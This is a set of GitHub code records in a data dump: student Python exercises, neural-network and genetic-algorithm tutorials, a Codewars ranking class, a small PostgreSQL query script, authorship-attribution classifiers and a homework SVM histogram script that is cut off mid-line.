+{"seq_id":"3338347965","text":"# 36.                    но сдал я ее как 35\n# В файле находится N натуральных чисел, записанных через пробел. \n# Среди чисел не хватает одного, чтобы выполнялось условие A[i] - 1 = A[i-1]. Найти его.\n\n# A = '1 2 3 5 6 7 8 10'   2   A[i] - 1 = A[2] - 1 = 3 - 1 = 2   и  A[2 - 1] = A[1] = 2    2 == 2 уcловие правильное\n# A[4] - 1 = A[]           3   A[i] - 1 = A[3] - 1 = 5 - 1 = 4   b  A[3 - 1] = A[2] = 3    4 != 3 цифра 4 пропущена\n\n\n# lists = '1 2 3 5 6 7 8 10'\nwith open('49_natyr.txt', 'w') as data: # ну а тут открываем файл и принудительно записываем в него\n    data.write('1 2 3 5 6 7 8 10')\n# My_list = [int(x) for x in list.split()]\nf1 =  open('49_natyr.txt') # считываем содержимое файла\npol = f1.read() # переписываем содержимое файла в pol\nprint((pol)) # 1 2 3 5 6 7 8 10\nMy_list = list(map(int, pol.split())) \nprint((My_list)) # [1, 2, 3, 5, 6, 7, 8, 10] преобразованный  list = [] map(int split ) делают запятые \n\n# 2 вариант приготовления\nwith open('48_natyr.txt', 'w+') as data: # ну а тут открываем файл и принудительно записываем в него\n    data.write('1 2 3 5 6 7 8 10')\n    data.seek(0)\n    result = []\n    for line in data.readlines():\n        result += [int(i) for i in line.split()]\n    print(result) # [1, 2, 3, 5, 6, 7, 8, 10]\n\n'''Set Python — это неупорядоченный и неиндексированный набор элементов.'''\n#Источник: https://pythononline.ru/osnovy/set-python\ndef find_number(My_list):\n    My_list1 = set(My_list) # основной список, set - неповторимые значения\n    temp_list = set(list(range(My_list[0], My_list[-1]+1))) # список всех элементов от 0 до послед. элемента -1 + 1 до 10\n                                            # потому что в range и с 0 начинаем. последний элемент будет меньша на 1\n    res = temp_list - My_list1 # находим недостающие числа\n    return f'Список: {temp_list}', f'Список2:{My_list1}', f'Результат: {sorted(res)}' \n # ('Список: {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}', 'Список2:{1, 2, 3, 5, 6, 7, 8, 10}', 'Результат: [4, 9]')\n\nprint(find_number(My_list))\n\n\n'''2 вариант'''\nwith open('47_natyr.txt', 'w') as data: # ну а тут открываем файл и принудительно записываем в него\n    data.write('1 2 3 5 6 7 8 10')\n\nwith open('47_natyr.txt') as data:\n    # my_list = data.read()\n    Mu_list = list(map(int, data.read().split())) # мы получим списко чисел которые записаны в файл сразу\n\n                                            # 1 2 3 5 6 7 8 10\ndef find_number(Mu_list):\n    result = []\n    for i in range(len(Mu_list) - 1):\n        # print(Mu_list[i], end=' ')\n        if (Mu_list[i + 1] - Mu_list[i]) > 1:  # 5 - 3 = 2 это больше 1 а значит мы нашли недостающий элемент\n            result.append(Mu_list[i] + 1) # вписываем недостающий эkемент в созданный список\n        print(Mu_list[i], i)  # A[i] - 1 = A[i-1]\n    return result\nprint (find_number(Mu_list,))\nprint(\"\")\n\n'''3 вариант'''\nwith open('47_natyr.txt', 'r') as data: # открыли\n    l = list(map(int, data.read().split(' '))) #gjkexbkb список\nset1 = set(l) # преобразуем список во множества\nset2 = set(list(range(l[0], l[-1]+1))) # делаем множества с помощью функции range от 0 элемента и до последнего с шагом +1\nprint(set1)\nprint(set2)\nprint(sorted(set1- set2))  # [] пусто\nprint(sorted(set2 - set1)) # [4, 9]\n\n\n'''4 вариант'''\n","repo_name":"Kassey69/Python_seminars_old","sub_path":"Seminar5/Task49_DZ.py","file_name":"Task49_DZ.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39039016521","text":"# expalanation about activation functions in the first 2 minutes: https://youtu.be/gmjzbpSVY1A?list=RDCMUCfzlCWGWYyIQ0aLC5w48gBQ\n\n\n# following activation functions come in after you do the inputs*weights + bias and are explained on video linked above\n\n# step activation function\n# sigmoid activation function\n# rectified linear activation function(unit) (ReLU) -> this is granular. (sigmoid is too) sigmoid has an issue called vanishing gradient problem and this may help with it\n    # relu is a simple calculation and faster than sigmoid\n    # it just simply works\n# just using weights and biases -> it is like our activation function is a linear one with y=x... All outputs will be linear. We'll only be able to fit linear function and if we try to fit linear data all we can do is approximate using some linear function.\n    # example shown at 7:38 on video linked on top comment. linear activation function cannot really approxiate sin wave well.\n        # how relu performs better can be seen on 8:20\n            # why it works is that ReLU is non linear. It is almost linear but yet that little bit of rectifiedness (clipping at zero) is exactly what makes it maybe almost as powerful as sigmoid activation function\n\n# relu is demonstrated well on video linked to on top\n\nimport numpy as np\nfrom nnfs.datasets import spiral_data\nimport nnfs   \nnnfs.init() # what this does is the following\n#     #1. it sets up np.random.seed(0)\n#     #2. dot product sometimes uses a different data type and there is no way to set a default data type in numpy\n#         #2.1. so this overrides somethings to nsure that data types are the same as in the book (nnfs)\n#     #3. The dataset generationgasdg\n# # inputs = [0, 2, -1, 3.3, -2.7, 1.1, 2.2 -100]\n# # output = []\n# # # relu\n# # for i in inputs:\n# #     output.append(max(0,i))\n# # print(output)\n\nX = [\n    [1, 2, 3, 2.5],\n    [2.0, 5.0, -1.0, 2.0],\n    [-1.5, 2.7, 3.3, -0.8]\n]\n\n# This function generates data for us, it just makes things easy for learning. it is also a part of the package nnfs\n# function below is a modified version of code in cs231 course\ndef create_data(points, classes):\n    X  = np.zeros((points*classes, 2))\n    y = np.zeros(points*classes, dtype='uint8')\n    for class_number in range(classes):\n        ix  = range(points*class_number, points*(class_number+1))\n        r = np.linspace(0.0, 1, points) # radius\n        t = np.linspace(class_number*4, (class_number+1)*4, points) + np.random.randn(points)*0.2\n        X[ix] = np.c_[r*np.sin(t*2.5), r*np.cos(t*2.5)]\n        y[ix] = class_number\n    return X, y \n\n\nclass Layer_Dense: # dense layer\n    def __init__(self, n_inputs, n_neurons):\n        self.weights = 0.1 * np.random.randn(n_inputs, n_neurons) # on p3.py the shape of weights was number of neurons by the number of weights, but here it'll be the opposite (so the transpose of it right away)\n        self.biases = np.zeros((1, n_neurons)) # we pass the shape as a parameter (the tuple (1,n_neurons))\n    def forward(self, inputs):\n        # inputs could be first input data or output of previous layer\n        self.output = np.dot(inputs, self.weights) + self.biases\n        pass\n\n\nclass Activation_ReLU:\n    def __init__(self):\n        pass\n    def forward(self, inputs):\n        self.output = np.maximum(0, inputs)\n\n\n\nX, y = create_data(100, 3)\nX, y = spiral_data(100, 3) # 100 feature sets, 3 classes\nrow, col = np.shape(X) # col is 2\nn_neurons_1 = 5\nn_neurons_2 = 2\nprint(col, n_neurons_1)\nlayer1 = Layer_Dense(col, n_neurons_1)\nactivation1 = Activation_ReLU()\nlayer2 = Layer_Dense(n_neurons_1, n_neurons_2) \n\n\nlayer1.forward(X)\nactivation1.forward(layer1.output)\nprint(activation1.output)\nlayer2.forward(activation1.output)\n# print(layer2.output)","repo_name":"batikanor/neural-networks","sub_path":"nnfs/p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36836301956","text":"import pygame as pg\r\nfrom settings import *\r\nimport random\r\nimport math\r\nimport sys\r\nsys.path.append(\"..\")\r\nfrom libs.neural_network import *\r\nvec = pg.math.Vector2\r\n\r\ndef mutate_function(x):\r\n    if random.random() < MUTATE_PRECENTAGE:\r\n        offset = random.gauss(0, STD_DEV)\r\n        newX = x + offset\r\n        return newX\r\n    else:\r\n        return x\r\n\r\ndef normalize(value, min, max):\r\n    return (value - min) / (max - min)\r\n\r\n\r\nclass Player(pg.sprite.Sprite):\r\n    def __init__(self, game, brain=None, mutate=False, showPredicts=False):\r\n        self.groups = game.allObjects\r\n        pg.sprite.Sprite.__init__(self, self.groups)\r\n        self.game = game\r\n        if isinstance(brain, NeuralNetwork):\r\n            self.brain = brain.copy()\r\n            if mutate:\r\n                self.brain.mutate(mutate_function)\r\n        else:\r\n            self.brain = NeuralNetwork(4, 8, 1)\r\n\r\n        self.showPredicts = showPredicts\r\n\r\n        self.score = 0\r\n        self.fitness = 0\r\n\r\n        self.width = BLOCK_SIZE\r\n        self.height = BLOCK_SIZE\r\n        self.pos = vec(WIDTH//2, 0)\r\n        self.vel = vec(0, 0)\r\n        self.acc = vec(0, 0)\r\n\r\n        self.color = START_COLOR\r\n\r\n\r\n\r\n        self.image = pg.Surface((self.width, self.height))\r\n        self.image.set_colorkey(BLACK)\r\n\r\n        pg.draw.circle(self.image, self.color, (self.width//2, self.height//2), self.width//2, 3)\r\n    \r\n\r\n        self.image.set_alpha(100)\r\n\r\n        self.rect = self.image.get_rect()\r\n        self.rect.center = self.pos\r\n\r\n\r\n\r\n    def copy(self, mutate=False):\r\n        if mutate:\r\n            return Player(self.game, self.brain, True)\r\n        else:\r\n            return Player(self.game, self.brain)\r\n\r\n    def decide(self):\r\n        closest = None \r\n        record = math.inf\r\n        for layer in self.game.layers:\r\n            diff = layer.y - self.pos.y\r\n            if diff > 0 and diff < record:\r\n                record = diff\r\n                closest = layer\r\n        self.inputs = []\r\n        self.inputs.append(normalize(self.pos.x, 0, WIDTH))\r\n        self.inputs.append(normalize(self.vel.x, -15, 15))\r\n        if closest != None:\r\n            self.inputs.append(normalize(closest.left, 0, WIDTH))\r\n            self.inputs.append(normalize(closest.right, 0, WIDTH))\r\n        else:\r\n            self.inputs.append(0.5)\r\n            self.inputs.append(0.6)\r\n        \r\n\r\n        if self.showPredicts:\r\n            self.action = self.brain.predict_2(self.inputs)\r\n        else:\r\n            self.action = self.brain.predict(self.inputs)\r\n        self.move(self.action[0])\r\n\r\n        \r\n\r\n\r\n    def update(self):\r\n        self.acc = vec(0, 0)\r\n        self.score += 1\r\n\r\n        \r\n        self.decide()\r\n        self.acc.y = GRAVITY\r\n        self.vel += self.acc\r\n        self.vel *= FRICTION\r\n        self.pos += self.vel + 0.5 * self.acc\r\n        \r\n      \r\n        self.rect.centery = self.pos.y\r\n        self.collideWithBlocks('y') \r\n        self.rect.centerx = self.pos.x\r\n        self.collideWithBlocks('x')\r\n        \r\n        if self.pos.y < 0:\r\n        \tself.game.restart()\r\n            \r\n\r\n        if self.pos.y > HEIGHT - self.height/2:\r\n            self.pos.y = HEIGHT - self.height/2\r\n            self.vel.y = 0            \r\n\r\n        if self.pos.x < 0 + self.width/2:\r\n            self.pos.x = 0 + self.width/2\r\n\r\n        if self.pos.x > WIDTH - self.width/2:\r\n            self.pos.x = WIDTH - self.width/2\r\n\r\n\r\n\r\n\r\n    def move(self, strength):\r\n        self.acc.x = 1 * strength\r\n\r\n\r\n    def collideWithBlocks(self, dir):\r\n        if dir == 'x':\r\n            hits = pg.sprite.spritecollide(self, self.game.blocks, False)\r\n            if hits:\r\n                if self.vel.x > 0:\r\n                    self.pos.x = hits[0].rect.left - self.rect.width / 2\r\n                if self.vel.x < 0:\r\n                    self.pos.x = hits[0].rect.right + self.rect.width / 2\r\n                self.vel.x = 0\r\n                self.rect.centerx = self.pos.x\r\n\r\n        if dir == 'y':\r\n            hits = pg.sprite.spritecollide(self, self.game.blocks, False)\r\n            if hits:\r\n\r\n                self.pos.y = hits[0].rect.top - self.rect.height / 2 \r\n\r\n                self.vel.y = hits[0].vel.y\r\n                self.rect.centery = self.pos.y\r\n","repo_name":"simon-bonnedahl/genetic-evolution-algorithm","sub_path":"ML-Genetic-Algorithm/RunBrains/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10707511576","text":"import logging\n\nlog = logging.getLogger(__name__)\n\nclass User:\n    \"\"\"Class defining a User.\n    \n    Write a class called User that is used to calculate the amount that a user will progress through a ranking system similar to the one Codewars uses.\n\n    Business Rules:\n        - A user starts at rank -8 and can progress all the way to 8.\n        - There is no 0 (zero) rank. The next rank after -1 is 1.\n        - Users will complete activities. These activities also have ranks.\n        - Each time the user completes a ranked activity the users rank progress is updated based off of the activity's rank\n        - The progress earned from the completed activity is relative to what the user's current rank is compared to the rank of the activity\n        - A user's rank progress starts off at zero, each time the progress reaches 100 the user's rank is upgraded to the next level\n        - Any remaining progress earned while in the previous rank will be applied towards the next rank's progress (we don't throw any progress away). The exception is if there is no other rank left to progress towards (Once you reach rank 8 there is no more progression).\n        - A user cannot progress beyond rank 8.\n        - The only acceptable range of rank values is -8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8. Any other value should raise an error.\n    \n    The progress is scored like so:\n\n        - Completing an activity that is ranked the same as that of the user's will be worth 3 points\n        - Completing an activity that is ranked one ranking lower than the user's will be worth 1 point\n        - Any activities completed that are ranking 2 levels or more lower than the user's ranking will be ignored\n        - Completing an activity ranked higher than the current user's rank will accelerate the rank progression. The greater the difference between rankings the more the progression will be increased. The formula is 10 * d * d where d equals the difference in ranking between the activity and the user.\n    \n    Logic Examples:\n        - If a user ranked -8 completes an activity ranked -7 they will receive 10 progress\n        - If a user ranked -8 completes an activity ranked -6 they will receive 40 progress\n        - If a user ranked -8 completes an activity ranked -5 they will receive 90 progress\n        - If a user ranked -8 completes an activity ranked -4 they will receive 160 progress, resulting in the user being upgraded to rank -7 and having earned 60 progress towards their next rank\n        - If a user ranked -1 completes an activity ranked 1 they will receive 10 progress (remember, zero rank is ignored)\n    \"\"\"\n\n    _available_ranks = [i for i in range(-8, 9) if i != 0]\n    _rank_max = max(_available_ranks)\n    _rank_len = len(_available_ranks) - 1\n\n\n    def __init__(self, verbose=False) -> None:\n        self.xp = 0\n        self.verbose = verbose\n        self.debug_print(None, None)\n\n    @property\n    def progress(self):\n        if self.rank == self._rank_max:\n            return 0\n\n        return self.xp % 100\n    \n    @property\n    def rank(self):\n        new_rank = self._available_ranks[min(self.xp // 100, self._rank_len)]\n        if new_rank < self._rank_max:\n            return new_rank\n        else:\n            return self._rank_max\n    \n    def __repr__(self):\n        return f\"User(rank={self.rank}, progress={self.progress})\"\n    \n    def debug_print(self, delta, increment):\n        log.debug(\"{}, {}, {}\".format(self, delta, increment))\n    \n    def assert_input(self, activity_rank: int) -> None:\n        msg = \"The only acceptable range of rank values is -8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8.\"\n        assert self.rank >= -8 and self.rank <= 8 and self.rank != 0, msg\n        assert activity_rank >= -8 and activity_rank <= 8 and activity_rank != 0, msg\n\n\n    def get_increment(self, activity_rank: int) -> int:\n        delta = abs(self.rank - activity_rank)\n\n        if (0 > self.rank and 0 < activity_rank) or (0 < self.rank and 0 > activity_rank):\n            delta -= 1\n\n        if activity_rank <= self.rank:\n            if delta == 0:\n                return 3\n            elif delta == 1:\n                return 1\n            else:\n                return 0\n        else:\n            return 10 * delta * delta\n            \n    \n    def inc_progress(self, activity_rank: int = 0):\n        self.assert_input(activity_rank=activity_rank)\n        increment = self.get_increment(activity_rank)\n        self.xp += increment\n            \n","repo_name":"JenspederM/codewars","sub_path":"CodewarsStyleRankingSystem/User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":4487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12903848156","text":"import psycopg2\n\nif __name__ == \"__main__\":\n    conn = psycopg2.connect(\"dbname=birthdays user=benjaminlabrecque\")\n\n    cur = conn.cursor()\n\n    cur.execute(\"SELECT * FROM birthday;\")\n    row = cur.fetchone()\n    all_rows = cur.fetchall()  # fetches only remaining rows\n    print(row)\n    print(all_rows)\n\n    cur.close()\n","repo_name":"Benji19967/postgresql","sub_path":"psql/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18054533726","text":"import nltk\r\nimport torch\r\nimport numpy\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom typing import Tuple\r\nfrom sklearn.linear_model import RidgeClassifier\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\n\r\ndef compute_burrows_delta(authors: Tuple[str],\r\n                          book_by_author_tokens: dict,\r\n                          n_most_common: int):\r\n    # Compute Burrow's delta for the two candidate texts\r\n    authors = [*authors]\r\n\r\n    # Step 1:   Create a joint corpus,\r\n    #           Compute how often the words are used with nltk.FreqDist()\r\n    #           Find the `n_most_common` words.\r\n    joint_corpus = (book_by_author_tokens[authors[0]]\r\n                    + book_by_author_tokens[authors[1]]\r\n                    + book_by_author_tokens[\"Disputed\"])\r\n\r\n    joint_freq_dist = nltk.FreqDist(joint_corpus)\r\n    most_common = list(joint_freq_dist.most_common(n_most_common))\r\n\r\n    # Step 2:   Compute the percentage of use of each selected word\r\n    #               in each subcorpus.\r\n    word_shares = {}\r\n    for author in authors:\r\n        word_shares[author] = {}\r\n        total_words = 0\r\n        for word, joint_count in most_common:\r\n            word_shares[author][word] \\\r\n                = book_by_author_tokens[author].count(word)\r\n            total_words += word_shares[author][word]\r\n        for word, joint_count in most_common:\r\n            word_shares[author][word] /= total_words\r\n    word_shares[\"Disputed\"] = {}\r\n    total_words = 0\r\n    for word, joint_count in most_common:\r\n        word_shares[\"Disputed\"][word] \\\r\n            = book_by_author_tokens[\"Disputed\"].count(word)\r\n        total_words += word_shares[\"Disputed\"][word]\r\n    for word, joint_count in most_common:\r\n        word_shares[\"Disputed\"][word] /= total_words\r\n\r\n    # Step 3:   Compute the mean and the standard deviation\r\n    #                of the values computed at Step 2 across the authors\r\n\r\n    mean_of_mean = {}\r\n    std_of_means = {}\r\n    for word, joint_count in most_common:\r\n        word_shares_list = [word_shares[author][word]\r\n                            for author in authors] \\\r\n                           + [word_shares[\"Disputed\"][word]]\r\n        mean_of_mean[word] = numpy.mean(word_shares_list)\r\n        std_of_means[word] = numpy.std(word_shares_list)\r\n\r\n    # Step 4:   Compute the Z scores for every subcorpus as follows:\r\n    #           - Subtract  the mean of mean computed at Step 3 from the mean\r\n    #               computed at Step 2\r\n    #           - Divide the previous result by the standard deviation\r\n    #               computed at Step 3\r\n    z_scores = {}\r\n    for author in authors + [\"Disputed\"]:\r\n        z_scores[author] = {}\r\n        for word, _ in most_common:\r\n            z_scores[author][word] = (word_shares[author][word] -\r\n                                      mean_of_mean[word]) / std_of_means[word]\r\n\r\n    # Step 5:   Compute the Delta score (distance) between the Disputed text and\r\n    #           each subcorpus according to the Burrows' Delta formula\r\n    #           computing the mean across words of absolute values\r\n    #           of the Z scores differences.\r\n\r\n    delta = {}\r\n    for author in authors:\r\n        delta[author] = 0\r\n        for word, _ in most_common:\r\n            delta[author] += numpy.abs(\r\n                z_scores[author][word] - z_scores[\"Disputed\"][word])\r\n        delta[author] /= n_most_common\r\n    print(delta)\r\n    # The function returns the delta scores among Disputed\r\n    # and each subcorpus.\r\n    return delta\r\n\r\n\r\ndef compute_chi_squared(authors: Tuple[str],\r\n                        book_by_author_tokens: dict,\r\n                        n_most_common: int):\r\n\r\n    scores = {}\r\n    for author in authors:\r\n\r\n        # Step 1: Build a joint corpus and identify the `n_most_common` most\r\n        #           frequent words in it.\r\n        joint_corpus = (book_by_author_tokens[author] +\r\n                        book_by_author_tokens[\"Disputed\"])\r\n        joint_freq_dist = nltk.FreqDist(joint_corpus)\r\n        most_common = list(joint_freq_dist.most_common(n_most_common))[100:]\r\n\r\n        # Step 2: Compute the percentage size of each subcorpus diving the\r\n        #           number of words of each subcorpus by the number of words\r\n        #           in the joint corpus.\r\n\r\n        author_share = (len(book_by_author_tokens[author])\r\n                        / len(joint_corpus))\r\n\r\n        # Step 3:   Compute the chi squared score according to the\r\n        #           Kilgariff's chi squared formula as follows:\r\n        #               - Compute the frequency of every word in the joint\r\n        #                   corpus and in every individual subcorpus.\r\n        #               - Compute the expected frequency multiplying the\r\n        #                   percentage size computed at Step 2 by the joint\r\n        #                   corpus frequency.\r\n        #               - For every word, compute the squared of the difference\r\n        #                   between the expected frequency and every subcorpus\r\n        #                   frequency and divide it by the expected frequency.\r\n        #              - Compute the chi-squared score summing the values\r\n        #                   computed above, at this Step.\r\n\r\n        chisquared = 0\r\n        for word, joint_count in most_common:\r\n\r\n            author_count = book_by_author_tokens[author].count(word)\r\n            disputed_count = book_by_author_tokens[\"Disputed\"].count(word)\r\n\r\n            expected_author_count = joint_count * author_share\r\n            expected_disputed_count = joint_count * (1 - author_share)\r\n\r\n            chisquared += ((author_count - expected_author_count) *\r\n                           (author_count - expected_author_count) /\r\n                           expected_author_count)\r\n\r\n            chisquared += ((disputed_count - expected_disputed_count) *\r\n                           (disputed_count - expected_disputed_count)\r\n                           / expected_disputed_count)\r\n        scores[author] = chisquared\r\n    print(scores)\r\n    # The function returns the chi squared scores computed at Step 3.\r\n    return {\"chisquared\": scores}\r\n\r\n\r\ndef compute_ridge(features,\r\n                  features_test,\r\n                  target,\r\n                  target_test,\r\n                  alpha):\r\n    classifier = RidgeClassifier(alpha=alpha, class_weight=\"balanced\")\r\n    scaler = StandardScaler()\r\n    features = scaler.fit_transform(features)\r\n    features_test = scaler.transform(features_test)\r\n    classifier.fit(features, target)\r\n    train_score = classifier.score(features, target)\r\n    test_score = classifier.score(features_test, target_test)\r\n\r\n    prediction = classifier.predict(features_test)\r\n    weights = classifier.coef_[0]\r\n\r\n    return {\"prediction\": prediction,\r\n            \"weights\": weights,\r\n            \"train_score\": train_score,\r\n            \"test_score\": test_score}\r\n\r\n\r\ndef compute_svm(features,\r\n                features_test,\r\n                target,\r\n                target_test,\r\n                C):\r\n    # Step 1: Use scikit-learn function `SVC` to create an SVM.\r\n    # We specify that we look at linearly separable data\r\n    # and fix a value of C. The value of C is proportional to the\r\n    # number of points that are allowed to be classified on the wrong side.\r\n    # In particular, a higher C means that the margin becomes narrower.\r\n    classifier = SVC(kernel='linear', random_state=241, C=C)\r\n    # Step 2: Apply standardization to the the data on both train and test.\r\n    scaler = StandardScaler()\r\n    features = scaler.fit_transform(features)\r\n    features_test = scaler.transform(features_test)\r\n    classifier.fit(features, target)\r\n    train_score = classifier.score(features, target)\r\n    test_score = classifier.score(features_test, target_test)\r\n    # Step 3: Apply SVM to make a prediction\r\n    prediction = classifier.predict(features_test)\r\n    # Step 4: Read the SVM coefficients.\r\n    weights = classifier.coef_[0]\r\n    # Finally, return the predictions, the model coefficients,\r\n    # and train and test accuracies.\r\n    return {\"prediction\": prediction,\r\n            \"weights\": weights,\r\n            \"train_score\": train_score,\r\n            \"test_score\": test_score}\r\n\r\n\r\ndef compute_knn(features,\r\n                features_test,\r\n                target,\r\n                target_test,\r\n                n_neighbors):\r\n    classifier = KNeighborsClassifier(n_neighbors=n_neighbors)\r\n    scaler = StandardScaler()\r\n    features = scaler.fit_transform(features)\r\n    features_test = scaler.transform(features_test)\r\n    classifier.fit(features, target)\r\n    train_score = classifier.score(features, target)\r\n    test_score = classifier.score(features_test, target_test)\r\n\r\n    prediction = classifier.predict(features_test)\r\n\r\n    return {\"prediction\": prediction,\r\n            \"target\": target,\r\n            \"target_test\": target_test,\r\n            \"train_score\": train_score,\r\n            \"test_score\": test_score}\r\n\r\n\r\ndef compute_pca(features,\r\n                features_test,\r\n                n_components):\r\n    pca = PCA(n_components=n_components,\r\n              random_state=241)\r\n    proj_features = pca.fit_transform(features)\r\n    proj_features_test = pca.transform(features_test)\r\n    return {\"proj_features\": proj_features,\r\n            \"proj_features_test\": proj_features_test}\r\n\r\n\r\ndef compute_neural_networks(features,\r\n                            features_test,\r\n                            target,\r\n                            target_test,\r\n                            lr,\r\n                            single_layer=False):\r\n    # Step 1: Define the input size, i.e. the number of considered\r\n    #           `n_most_common` words by reading the shape of the input\r\n    #           features.\r\n    input_size = features.shape[1]\r\n    # Step 2: Standardize the input data, i.e. subtract to every word frequency\r\n    # the mean and divide by the standard deviation.\r\n    scaler = StandardScaler()\r\n    features = scaler.fit_transform(features)\r\n\r\n    # Step 3: Define the MLP layers using the package PyTorch.\r\n    #           We use Linear layers and Tanh as non linear activation function.\r\n    if single_layer:\r\n        classifier = nn.Sequential(nn.Linear(input_size, 300),\r\n                                   nn.Tanh(),\r\n                                   nn.Linear(300, 2))\r\n    else:\r\n        classifier = nn.Sequential(nn.Linear(input_size, 300),\r\n                                   nn.Tanh(),\r\n                                   nn.Linear(300, 300),\r\n                                   nn.Tanh(),\r\n                                   nn.Linear(300, 2))\r\n    # Step 4: Define the loss function\r\n    w = numpy.mean(target)\r\n    criterion = nn.BCEWithLogitsLoss(pos_weight=torch.FloatTensor([1 - w, w]))\r\n    optimizer = optim.Adam(classifier.parameters(), lr=lr)\r\n\r\n    # Step 5: Convert the input features from numpy arrays to PyTorch tensors.\r\n    cat_target = numpy.vstack(\r\n        [numpy.array([1, 0]) if t == 0 else numpy.array([0, 1]) for t in\r\n         target])\r\n    features = torch.FloatTensor(\r\n        features)\r\n    cat_target = torch.FloatTensor(\r\n        cat_target)\r\n\r\n    # Step 6: Tune the networks weights using the Backpropagation algorithm\r\n    #           (provided by PyTorch via the method `backward`.) iterating over\r\n    #           the training set.  We provide more detailed comments in the\r\n    #           loop.\r\n    batch_size = 10\r\n    for epoch in range(500):\r\n        running_loss = 0.0\r\n\r\n        for i in numpy.arange(0, features.shape[0], batch_size):\r\n\r\n            data_ids = torch.randperm(features.shape[0])[:10]\r\n\r\n            inputs = features[data_ids]\r\n            labels = cat_target[data_ids]\r\n\r\n            optimizer.zero_grad()\r\n            # Apply the MLP to the input that is the computed frequencies.\r\n            outputs = classifier(inputs)\r\n            # Compute the loss using the MLP output and the labels.\r\n            loss = criterion(outputs, labels)\r\n            # Use backpropagation implemented in PyTorch in the\r\n            #   method `backward`. It changes the networks weights if the loss\r\n            #   is high, otherwise it leaves them almost unchanged.\r\n            loss.backward()\r\n            optimizer.step()\r\n\r\n            # print loss every 2000 iterations. It should decrease. If not,\r\n            # the network is not learning.\r\n            running_loss += loss.item()\r\n            if i % 2000 == 1999:\r\n                print('[%d, %5d] loss: %.3f' %\r\n                      (epoch + 1, i + 1, running_loss / 2000))\r\n                running_loss = 0.0\r\n    print('Finished Training')\r\n    # Step 7: Compute the final predictions and accuracies.\r\n    predictions = torch.sigmoid(\r\n        classifier(\r\n            features\r\n        )\r\n    )\r\n    features_test = scaler.transform(features_test)\r\n    predictions_test = torch.sigmoid(\r\n        classifier(\r\n            torch.FloatTensor(features_test)\r\n        )\r\n    )\r\n    train_score = compute_accuracy(predictions, target)\r\n    test_score = compute_accuracy(predictions_test, target_test)\r\n    print(train_score, test_score)\r\n\r\n    # Step 8: Save the network\r\n\r\n    if single_layer:\r\n        torch.save(classifier, open(\"single_layer_model_torch.pt\", \"wb\"))\r\n        torch.save(classifier.state_dict(),\r\n                   open(\"single_layer_model_torch_w.pt\",\r\n                        \"wb\"))\r\n    else:\r\n        import os\r\n        for i in [1, 2, 3, 18, 19, 20, 21, 22]:\r\n            if not os.path.exists(\r\n                    \"ModernFrenchMakine_300_1300_model_torch\" + str(i) + \".pt\"):\r\n                torch.save(classifier, open(\r\n                    \"ModernFrenchMakine_300_1300_model_torch\" + str(i) + \".pt\",\r\n                    \"wb\"))\r\n                torch.save(classifier.state_dict(),\r\n                           open(\"ModernFrenchMakine_300_1300_model_torch\" + str(\r\n                               i) + \".pt\",\r\n                                \"wb\"))\r\n                break\r\n    return {\"prediction\": predictions_test,\r\n            \"train_score\": train_score,\r\n            \"test_score\": test_score}\r\n\r\n\r\ndef compute_accuracy(predictions, target):\r\n    predictions = torch.nn.functional.softmax(predictions, dim=1)\r\n    predictions = numpy.array(\r\n        [0. if p[0] > p[1] else 1. for p in predictions.detach().numpy()])\r\n    correct = (predictions == target).sum()\r\n    return correct / target.shape[0]\r\n","repo_name":"ritberg/Thesis","sub_path":"algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":14587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73837360190","text":"\"\"\"\nAuthor: Deniz Erdogan\nID: 0069572\n\"\"\"\n\nimport cvxopt as cvx\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport scipy.spatial.distance as dt\n\n# read data into memory\nimages = np.genfromtxt(\"hw06_data_set_images.csv\", delimiter = \",\")\nlabels = np.genfromtxt(\"hw06_data_set_labels.csv\", delimiter = \",\")\n\n\n# get X and y values\nX_train = images[:1000, :]\nX_test = images[1000:, :]\n\ny_train = labels[:1000].astype(int)\ny_test = labels[1000:].astype(int)\n\n\n# get number of samples and number of features\nN_train = len(X_train)\nD_train = X_train.shape[1]\n\nprint(X_train[0, :500])\n\n# define Gaussian kernel function\ndef gaussian_kernel(X1, X2, s):\n    D = dt.cdist(X1, X2)\n    K = np.exp(-D**2 / (2 * s**2))\n    return(K)\n\nprint(X_train.shape)\n\nnumber_of_bins = 64\nhistogram_train = np.zeros((np.shape(X_train)[0], number_of_bins))\nhistogram_test = np.zeros((np.shape(X_test)[0], number_of_bins))\n\nfor i in range(np.shape(X_train)[0]):\n  for j in range(np.shape(X_train)[1]):\n    if X_train[i][j] == 0:\n      histogram_train[i][0] += 1\n    else:\n      histogram_train[i, int((X_train[i][j]+0.1) // 4)] += 1\n\n    if X_test[i][j] == 0:\n      histogram_test[i][0] += 1\n    else:\n      histogram_test[i, int((X_test[i][j]+0.1) // 4)] += 1\n\n\nhistogram_train = histogram_train / np.shape(X_train)[1]\nhistogram_test = histogram_test / np.shape(X_test)[1]\n\nprint(\"Histogram samples for the data:\")\nprint(histogram_train[0:5, 0:5])\nprint(histogram_test[0:5, 0:5])\n\n# PART 4\ndef intersection_kernel(h1, h2):\n    dimension1 = h1.shape[0]\n    dimension2 = h2.shape[0]\n    matrix = 